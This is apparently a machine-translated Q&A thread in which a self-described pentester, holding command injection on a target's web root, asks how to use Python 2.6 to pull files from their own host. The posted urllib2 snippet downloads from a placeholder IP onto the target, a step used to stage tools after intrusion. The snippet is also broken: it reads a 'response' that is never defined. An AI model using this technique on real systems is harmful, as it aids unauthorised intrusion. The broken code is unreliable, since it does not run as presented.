Python26脚本从远程主机抓取文件

Python26脚本从远程主机抓取文件,python,file,get,transfer,Python,File,Get,Transfer,我正在寻找一些关于Python脚本的帮助 我正在做一个pentesting项目,并获得了在系统wwwroot目录下进行命令注入和写入文件的权限,权限有限。ftp和telnet都在系统上,但我没有权限访问它们。在这一点上,唯一真正有用的是系统上的Python26,我可以使用它。 不过,我对现实生活中的Python了解很少 我的想法是。。。有没有一种方法可以使用Python脚本调用我的主机并从主机获取文件?如果是这样的话,有人对如何编写脚本有什么建议吗 提前谢谢 import urllib2 fil

我正在寻找一些关于Python脚本的帮助

我正在做一个pentesting项目,并获得了在系统wwwroot目录下进行命令注入和写入文件的权限,权限有限。ftp和telnet都在系统上,但我没有权限访问它们。在这一点上,唯一真正有用的是系统上的Python26,我可以使用它。 不过,我对现实生活中的Python了解很少

我的想法是。。。有没有一种方法可以使用Python脚本调用我的主机并从主机获取文件?如果是这样的话,有人对如何编写脚本有什么建议吗

提前谢谢

import urllib2
file = "success2.txt"
url = "http://xx.xx.xx.xx/test.txt"
fh = open(file, "w")
fh.write(response.read())
fh.close()
这就是我在@furas的建议下所做的

我做了更多的研究,发现:

这很好地解释了这一点

希望这对将来的人有所帮助

正如我所理解的代码。 首先设置要写入的变量“file”(绝对路径可能会影响远程使用) 然后设置文件所在的url和文件名

然后是要写入的代码文件。然后,它写入从url打开的文件


与ftp不同,这似乎不会直接“复制”文件。因此,您可能需要在fh=open(文件“w”)中使用“wb”,它可以处理二进制文件。我不是100%了解w和wb之间的差异,但这种方法对我有效。

如果您的主机上有开放端口(例如安装了FTP、WWW等服务器),则外部计算机可以连接到您的主机。但这可能取决于远程主机和您的主机之间所有路由器的配置。你可以找到许多关于如何使用Python连接到FTP、WWW甚至邮件的教程。谢谢你,我假设因为我没有perm在帐户上使用FTP,所以我无法以那种方式使用Python?不过我将更多地关注WWW方向